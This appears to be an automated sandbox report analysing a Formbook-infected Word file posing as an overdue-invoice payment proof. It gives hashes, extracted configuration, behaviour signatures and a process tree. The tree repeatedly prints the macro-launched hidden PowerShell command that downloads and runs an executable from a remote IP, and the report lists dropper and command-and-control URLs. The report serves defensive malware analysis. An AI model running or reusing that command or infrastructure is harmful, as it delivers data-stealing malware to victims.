formbook | ef5b81d7eebf08ed869799e9022ca82ff0a5c781b72bb6652fbc1fe7f0e4ebcc

Analysis

max time kernel
148s
max time network
191s
platform
windows7_x64
resource
win7v20210408
submitted
27-07-2021 14:22

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General

Target

Proof of payment for overdue invoice.doc
Size

1.0MB
MD5

fef57f1f8bc2bc336fa0fe4f1d5e3f30
SHA1

c0169f4d359c5e889d6dc19a3559e1a4dd8bacc8
SHA256

ef5b81d7eebf08ed869799e9022ca82ff0a5c781b72bb6652fbc1fe7f0e4ebcc
SHA512

0009f9fb516136f198b09e5a64fa128be5d4aa1442a1d0d48a8308326c36ff6d2f9bbe394bbeb25245899dc65732f42bd1183770d1aba57ec0ef49c137fc1a4b

Score

10^/10

formbook rat spyware stealer suricata trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

httP://136.144.41.61/KLcaCYuAidZMbBJ.exe

Extracted

Family

formbook

Version

4.1

http://www.yjhlgg.com/grve/

Decoy

jrvinganimalexterminator.com

smallsyalls.com

po1c3.com

mencg.com

aussieenjoyment.today

espace22.com

aanmelding-desk.info

gallopshoes.com

nftsexy.com

ricosdulcesmexicanos.com

riseswift.com

thechicthirty.com

matdcg.com

alternet.today

creativehuesdesigns.com

rjkcrafts.com

lowdosemortgage.com

adoptahamster.com

wellness-sense.com

jacardcapital.com

Signatures

Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exepowershell.exepowershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1560	1984	powershell.exe	WINWORD.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1372	1984	powershell.exe	WINWORD.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1384	1984	powershell.exe	WINWORD.EXE

suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata

CustAttr .NET packer 1 IoCs

Detects CustAttr .NET packer in memory.

Processes:

resource	yara_rule
behavioral1/memory/1224-138-0x0000000000380000-0x000000000038B000-memory.dmp	CustAttr

Formbook Payload 7 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/1600-145-0x0000000000400000-0x000000000042E000-memory.dmp	formbook
behavioral1/memory/1600-146-0x000000000041EAF0-mapping.dmp	formbook
behavioral1/memory/792-152-0x000000000041EAF0-mapping.dmp	formbook
behavioral1/memory/1640-163-0x000000000041EAF0-mapping.dmp	formbook
behavioral1/memory/1960-171-0x0000000000090000-0x00000000000BE000-memory.dmp	formbook
behavioral1/memory/1132-177-0x00000000000F0000-0x000000000011E000-memory.dmp	formbook
behavioral1/memory/2036-185-0x00000000000D0000-0x00000000000FE000-memory.dmp	formbook

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

6 1560 powershell.exe
Downloads MZ/PE file

flow	pid	process
6	1560	powershell.exe

Executes dropped EXE 7 IoCs

Processes:

KLcaCYuAidZMbBJ.exeKLcaCYuAidZMbBJ.exeKLcaCYuAidZMbBJ.exeKLcaCYuAidZMbBJ.exeKLcaCYuAidZMbBJ.exeKLcaCYuAidZMbBJ.exeKLcaCYuAidZMbBJ.exe

pid	process
1564	KLcaCYuAidZMbBJ.exe
1224	KLcaCYuAidZMbBJ.exe
1552	KLcaCYuAidZMbBJ.exe
1600	KLcaCYuAidZMbBJ.exe
908	KLcaCYuAidZMbBJ.exe
792	KLcaCYuAidZMbBJ.exe
1640	KLcaCYuAidZMbBJ.exe

Loads dropped DLL 1 IoCs

Processes:

powershell.exe

pid process

1560 powershell.exe

Suspicious use of SetThreadContext 8 IoCs

Processes:

KLcaCYuAidZMbBJ.exeKLcaCYuAidZMbBJ.exeKLcaCYuAidZMbBJ.exeKLcaCYuAidZMbBJ.exeKLcaCYuAidZMbBJ.exeKLcaCYuAidZMbBJ.exerundll32.exe

description	pid	process	target process
PID 1564 set thread context of 1600	1564	KLcaCYuAidZMbBJ.exe	KLcaCYuAidZMbBJ.exe
PID 1600 set thread context of 1196	1600	KLcaCYuAidZMbBJ.exe	Explorer.EXE
PID 1224 set thread context of 792	1224	KLcaCYuAidZMbBJ.exe	KLcaCYuAidZMbBJ.exe
PID 792 set thread context of 1196	792	KLcaCYuAidZMbBJ.exe	Explorer.EXE
PID 1552 set thread context of 1640	1552	KLcaCYuAidZMbBJ.exe	KLcaCYuAidZMbBJ.exe
PID 1640 set thread context of 1196	1640	KLcaCYuAidZMbBJ.exe	Explorer.EXE
PID 1640 set thread context of 1196	1640	KLcaCYuAidZMbBJ.exe	Explorer.EXE
PID 1960 set thread context of 1196	1960	rundll32.exe	Explorer.EXE

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1984 WINWORD.EXE

pid	process
1984	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 34 IoCs

Processes:

powershell.exepowershell.exepowershell.exeKLcaCYuAidZMbBJ.exeKLcaCYuAidZMbBJ.exeKLcaCYuAidZMbBJ.exeKLcaCYuAidZMbBJ.exerundll32.execmstp.exerundll32.exe

pid	process
1560	powershell.exe
1560	powershell.exe
1372	powershell.exe
1384	powershell.exe
1372	powershell.exe
1384	powershell.exe
1600	KLcaCYuAidZMbBJ.exe
1600	KLcaCYuAidZMbBJ.exe
1224	KLcaCYuAidZMbBJ.exe
1224	KLcaCYuAidZMbBJ.exe
792	KLcaCYuAidZMbBJ.exe
792	KLcaCYuAidZMbBJ.exe
1640	KLcaCYuAidZMbBJ.exe
1640	KLcaCYuAidZMbBJ.exe
1960	rundll32.exe
1132	cmstp.exe
1960	rundll32.exe
1640	KLcaCYuAidZMbBJ.exe
2036	rundll32.exe
1960	rundll32.exe
1960	rundll32.exe
1960	rundll32.exe
1960	rundll32.exe
1960	rundll32.exe
1960	rundll32.exe
1960	rundll32.exe
1960	rundll32.exe
1960	rundll32.exe
1960	rundll32.exe
1960	rundll32.exe
1960	rundll32.exe
1960	rundll32.exe
1960	rundll32.exe
1960	rundll32.exe

Suspicious behavior: MapViewOfSection 12 IoCs

Processes:

KLcaCYuAidZMbBJ.exeKLcaCYuAidZMbBJ.exeKLcaCYuAidZMbBJ.exerundll32.exe

pid	process
1600	KLcaCYuAidZMbBJ.exe
792	KLcaCYuAidZMbBJ.exe
1640	KLcaCYuAidZMbBJ.exe
1600	KLcaCYuAidZMbBJ.exe
1600	KLcaCYuAidZMbBJ.exe
792	KLcaCYuAidZMbBJ.exe
792	KLcaCYuAidZMbBJ.exe
1960	rundll32.exe
1640	KLcaCYuAidZMbBJ.exe
1960	rundll32.exe
1640	KLcaCYuAidZMbBJ.exe
1640	KLcaCYuAidZMbBJ.exe

Suspicious use of AdjustPrivilegeToken 18 IoCs

Processes:

powershell.exepowershell.exepowershell.exeKLcaCYuAidZMbBJ.exeKLcaCYuAidZMbBJ.exeKLcaCYuAidZMbBJ.exeKLcaCYuAidZMbBJ.exerundll32.execmstp.exerundll32.exeExplorer.EXE

description	pid	process
Token: SeDebugPrivilege	1560	powershell.exe
Token: SeDebugPrivilege	1372	powershell.exe
Token: SeDebugPrivilege	1384	powershell.exe
Token: SeDebugPrivilege	1600	KLcaCYuAidZMbBJ.exe
Token: SeDebugPrivilege	1224	KLcaCYuAidZMbBJ.exe
Token: SeDebugPrivilege	792	KLcaCYuAidZMbBJ.exe
Token: SeDebugPrivilege	1640	KLcaCYuAidZMbBJ.exe
Token: SeDebugPrivilege	1960	rundll32.exe
Token: SeDebugPrivilege	1132	cmstp.exe
Token: SeDebugPrivilege	2036	rundll32.exe
Token: SeShutdownPrivilege	1196	Explorer.EXE
Token: SeShutdownPrivilege	1196	Explorer.EXE
Token: SeShutdownPrivilege	1196	Explorer.EXE
Token: SeShutdownPrivilege	1196	Explorer.EXE
Token: SeShutdownPrivilege	1196	Explorer.EXE
Token: SeShutdownPrivilege	1196	Explorer.EXE
Token: SeShutdownPrivilege	1196	Explorer.EXE
Token: SeShutdownPrivilege	1196	Explorer.EXE

Suspicious use of FindShellTrayWindow 4 IoCs

Processes:

Explorer.EXE

pid process

1196 Explorer.EXE
1196 Explorer.EXE
1196 Explorer.EXE
1196 Explorer.EXE
Suspicious use of SendNotifyMessage 4 IoCs

Processes:

Explorer.EXE

pid process

1196 Explorer.EXE
1196 Explorer.EXE
1196 Explorer.EXE
1196 Explorer.EXE
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

WINWORD.EXE

pid process

1984 WINWORD.EXE
1984 WINWORD.EXE
1984 WINWORD.EXE
1984 WINWORD.EXE

pid	process
1196	Explorer.EXE
1196	Explorer.EXE
1196	Explorer.EXE
1196	Explorer.EXE

pid	process
1196	Explorer.EXE
1196	Explorer.EXE
1196	Explorer.EXE
1196	Explorer.EXE

pid	process
1984	WINWORD.EXE
1984	WINWORD.EXE
1984	WINWORD.EXE
1984	WINWORD.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

WINWORD.EXEpowershell.exepowershell.exepowershell.exeKLcaCYuAidZMbBJ.exeKLcaCYuAidZMbBJ.exeExplorer.EXEKLcaCYuAidZMbBJ.exe

description	pid	process	target process
PID 1984 wrote to memory of 1560	1984	WINWORD.EXE	powershell.exe
PID 1984 wrote to memory of 1560	1984	WINWORD.EXE	powershell.exe
PID 1984 wrote to memory of 1560	1984	WINWORD.EXE	powershell.exe
PID 1984 wrote to memory of 1560	1984	WINWORD.EXE	powershell.exe
PID 1560 wrote to memory of 1564	1560	powershell.exe	KLcaCYuAidZMbBJ.exe
PID 1560 wrote to memory of 1564	1560	powershell.exe	KLcaCYuAidZMbBJ.exe
PID 1560 wrote to memory of 1564	1560	powershell.exe	KLcaCYuAidZMbBJ.exe
PID 1560 wrote to memory of 1564	1560	powershell.exe	KLcaCYuAidZMbBJ.exe
PID 1984 wrote to memory of 1372	1984	WINWORD.EXE	powershell.exe
PID 1984 wrote to memory of 1372	1984	WINWORD.EXE	powershell.exe
PID 1984 wrote to memory of 1372	1984	WINWORD.EXE	powershell.exe
PID 1984 wrote to memory of 1372	1984	WINWORD.EXE	powershell.exe
PID 1984 wrote to memory of 1384	1984	WINWORD.EXE	powershell.exe
PID 1984 wrote to memory of 1384	1984	WINWORD.EXE	powershell.exe
PID 1984 wrote to memory of 1384	1984	WINWORD.EXE	powershell.exe
PID 1984 wrote to memory of 1384	1984	WINWORD.EXE	powershell.exe
PID 1384 wrote to memory of 1224	1384	powershell.exe	KLcaCYuAidZMbBJ.exe
PID 1384 wrote to memory of 1224	1384	powershell.exe	KLcaCYuAidZMbBJ.exe
PID 1384 wrote to memory of 1224	1384	powershell.exe	KLcaCYuAidZMbBJ.exe
PID 1384 wrote to memory of 1224	1384	powershell.exe	KLcaCYuAidZMbBJ.exe
PID 1372 wrote to memory of 1552	1372	powershell.exe	KLcaCYuAidZMbBJ.exe
PID 1372 wrote to memory of 1552	1372	powershell.exe	KLcaCYuAidZMbBJ.exe
PID 1372 wrote to memory of 1552	1372	powershell.exe	KLcaCYuAidZMbBJ.exe
PID 1372 wrote to memory of 1552	1372	powershell.exe	KLcaCYuAidZMbBJ.exe
PID 1984 wrote to memory of 1760	1984	WINWORD.EXE	splwow64.exe
PID 1984 wrote to memory of 1760	1984	WINWORD.EXE	splwow64.exe
PID 1984 wrote to memory of 1760	1984	WINWORD.EXE	splwow64.exe
PID 1984 wrote to memory of 1760	1984	WINWORD.EXE	splwow64.exe
PID 1564 wrote to memory of 1600	1564	KLcaCYuAidZMbBJ.exe	KLcaCYuAidZMbBJ.exe
PID 1564 wrote to memory of 1600	1564	KLcaCYuAidZMbBJ.exe	KLcaCYuAidZMbBJ.exe
PID 1564 wrote to memory of 1600	1564	KLcaCYuAidZMbBJ.exe	KLcaCYuAidZMbBJ.exe
PID 1564 wrote to memory of 1600	1564	KLcaCYuAidZMbBJ.exe	KLcaCYuAidZMbBJ.exe
PID 1564 wrote to memory of 1600	1564	KLcaCYuAidZMbBJ.exe	KLcaCYuAidZMbBJ.exe
PID 1564 wrote to memory of 1600	1564	KLcaCYuAidZMbBJ.exe	KLcaCYuAidZMbBJ.exe
PID 1564 wrote to memory of 1600	1564	KLcaCYuAidZMbBJ.exe	KLcaCYuAidZMbBJ.exe
PID 1224 wrote to memory of 908	1224	KLcaCYuAidZMbBJ.exe	KLcaCYuAidZMbBJ.exe
PID 1224 wrote to memory of 908	1224	KLcaCYuAidZMbBJ.exe	KLcaCYuAidZMbBJ.exe
PID 1224 wrote to memory of 908	1224	KLcaCYuAidZMbBJ.exe	KLcaCYuAidZMbBJ.exe
PID 1224 wrote to memory of 908	1224	KLcaCYuAidZMbBJ.exe	KLcaCYuAidZMbBJ.exe
PID 1224 wrote to memory of 792	1224	KLcaCYuAidZMbBJ.exe	KLcaCYuAidZMbBJ.exe
PID 1224 wrote to memory of 792	1224	KLcaCYuAidZMbBJ.exe	KLcaCYuAidZMbBJ.exe
PID 1224 wrote to memory of 792	1224	KLcaCYuAidZMbBJ.exe	KLcaCYuAidZMbBJ.exe
PID 1224 wrote to memory of 792	1224	KLcaCYuAidZMbBJ.exe	KLcaCYuAidZMbBJ.exe
PID 1224 wrote to memory of 792	1224	KLcaCYuAidZMbBJ.exe	KLcaCYuAidZMbBJ.exe
PID 1224 wrote to memory of 792	1224	KLcaCYuAidZMbBJ.exe	KLcaCYuAidZMbBJ.exe
PID 1224 wrote to memory of 792	1224	KLcaCYuAidZMbBJ.exe	KLcaCYuAidZMbBJ.exe
PID 1196 wrote to memory of 1960	1196	Explorer.EXE	rundll32.exe
PID 1196 wrote to memory of 1960	1196	Explorer.EXE	rundll32.exe
PID 1196 wrote to memory of 1960	1196	Explorer.EXE	rundll32.exe
PID 1196 wrote to memory of 1960	1196	Explorer.EXE	rundll32.exe
PID 1196 wrote to memory of 1960	1196	Explorer.EXE	rundll32.exe
PID 1196 wrote to memory of 1960	1196	Explorer.EXE	rundll32.exe
PID 1196 wrote to memory of 1960	1196	Explorer.EXE	rundll32.exe
PID 1196 wrote to memory of 1132	1196	Explorer.EXE	cmstp.exe
PID 1196 wrote to memory of 1132	1196	Explorer.EXE	cmstp.exe
PID 1196 wrote to memory of 1132	1196	Explorer.EXE	cmstp.exe
PID 1196 wrote to memory of 1132	1196	Explorer.EXE	cmstp.exe
PID 1196 wrote to memory of 1132	1196	Explorer.EXE	cmstp.exe
PID 1196 wrote to memory of 1132	1196	Explorer.EXE	cmstp.exe
PID 1196 wrote to memory of 1132	1196	Explorer.EXE	cmstp.exe
PID 1552 wrote to memory of 1640	1552	KLcaCYuAidZMbBJ.exe	KLcaCYuAidZMbBJ.exe
PID 1552 wrote to memory of 1640	1552	KLcaCYuAidZMbBJ.exe	KLcaCYuAidZMbBJ.exe
PID 1552 wrote to memory of 1640	1552	KLcaCYuAidZMbBJ.exe	KLcaCYuAidZMbBJ.exe
PID 1552 wrote to memory of 1640	1552	KLcaCYuAidZMbBJ.exe	KLcaCYuAidZMbBJ.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1196

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Proof of payment for overdue invoice.doc"
2⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1984

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://136.144.41.61/KLcaCYuAidZMbBJ.exe','C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe'"
3⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1560

C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe
"C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1564

C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe
"C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:1600

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://136.144.41.61/KLcaCYuAidZMbBJ.exe','C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe'"
3⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1372

C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe
"C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1552

C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe
"C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:1640

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\SysWOW64\rundll32.exe"
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2036

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://136.144.41.61/KLcaCYuAidZMbBJ.exe','C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe'"
3⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1384

C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe
"C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1224

C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe
"C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe"
5⤵
- Executes dropped EXE
PID:908

C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe
"C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:792

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
3⤵
PID:1760

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\SysWOW64\rundll32.exe"
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:1960

C:\Windows\SysWOW64\cmd.exe
/c del "C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe"
3⤵
PID:1016

C:\Windows\SysWOW64\cmstp.exe
"C:\Windows\SysWOW64\cmstp.exe"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1132

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_10a2719f-ab19-452c-9537-375fecbe5f96
MD5
df44874327d79bd75e4264cb8dc01811

SHA1
1396b06debed65ea93c24998d244edebd3c0209d

SHA256
55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

SHA512
95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1abda922-9e0e-4200-89d0-60796083afcc
MD5
be4d72095faf84233ac17b94744f7084

SHA1
cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

SHA256
b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

SHA512
43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_32b21970-4839-4ac5-a2ad-cc925aecc47c
MD5
a725bb9fafcf91f3c6b7861a2bde6db2

SHA1
8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

SHA256
51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

SHA512
1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_60554f64-a36e-4439-8748-76f202d7cb75
MD5
02ff38ac870de39782aeee04d7b48231

SHA1
0390d39fa216c9b0ecdb38238304e518fb2b5095

SHA256
fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

SHA512
24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6ccb18ff-7a22-469e-90e7-ccc861e1432b
MD5
b6d38f250ccc9003dd70efd3b778117f

SHA1
d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a

SHA256
4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265

SHA512
67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7bc5ca8a-50eb-4a28-856a-31595e01418a
MD5
597009ea0430a463753e0f5b1d1a249e

SHA1
4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62

SHA256
3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d

SHA512
5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bd47eb21-a96b-4ccd-99d7-0d9f3f6c10b6
MD5
75a8da7754349b38d64c87c938545b1b

SHA1
5c28c257d51f1c1587e29164cc03ea880c21b417

SHA256
bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96

SHA512
798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c9b427a0-6073-4eb8-9b09-f8e4712d7ab5
MD5
5e3c7184a75d42dda1a83606a45001d8

SHA1
94ca15637721d88f30eb4b6220b805c5be0360ed

SHA256
8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59

SHA512
fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
026474665d810693029939c5bb4b71c0

SHA1
4129adbdbbfa39894f9eb8542effe1cc739d7195

SHA256
2772f2af99a3c49018c8b742de803c62d8ae106b151cfd59ac3da1cbe33c32f3

SHA512
9451cab2219e1870c7f796cf14511c4483c76e205b6e2a6c738f4e4f284fd68f385f65ce4525d6d960794993e53a55301fe0ac24daee8d4fe3a9a8f77fa541f0

Download Submit
C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe
MD5
77e9f5464c103f8fedf6ae500d87dd32

SHA1
63ac44a904971f265decc404583bd3912c31cf02

SHA256
7b40c9c16df4b35ae04076a8afd38c4fe4bf5525bb388ea3871ec2371fa9e049

SHA512
4488ffcb12abd71d0e25ba10655085d5c876ea047a85cb8d02f1280442b998b85e3b8adadcd3a5e835b062fd27953fb05dc9a4c96e7f4cbe7869812a65fa2f6e

Download Submit
C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe
MD5
77e9f5464c103f8fedf6ae500d87dd32

SHA1
63ac44a904971f265decc404583bd3912c31cf02

SHA256
7b40c9c16df4b35ae04076a8afd38c4fe4bf5525bb388ea3871ec2371fa9e049

SHA512
4488ffcb12abd71d0e25ba10655085d5c876ea047a85cb8d02f1280442b998b85e3b8adadcd3a5e835b062fd27953fb05dc9a4c96e7f4cbe7869812a65fa2f6e

Download Submit
C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe
MD5
77e9f5464c103f8fedf6ae500d87dd32

SHA1
63ac44a904971f265decc404583bd3912c31cf02

SHA256
7b40c9c16df4b35ae04076a8afd38c4fe4bf5525bb388ea3871ec2371fa9e049

SHA512
4488ffcb12abd71d0e25ba10655085d5c876ea047a85cb8d02f1280442b998b85e3b8adadcd3a5e835b062fd27953fb05dc9a4c96e7f4cbe7869812a65fa2f6e

Download Submit
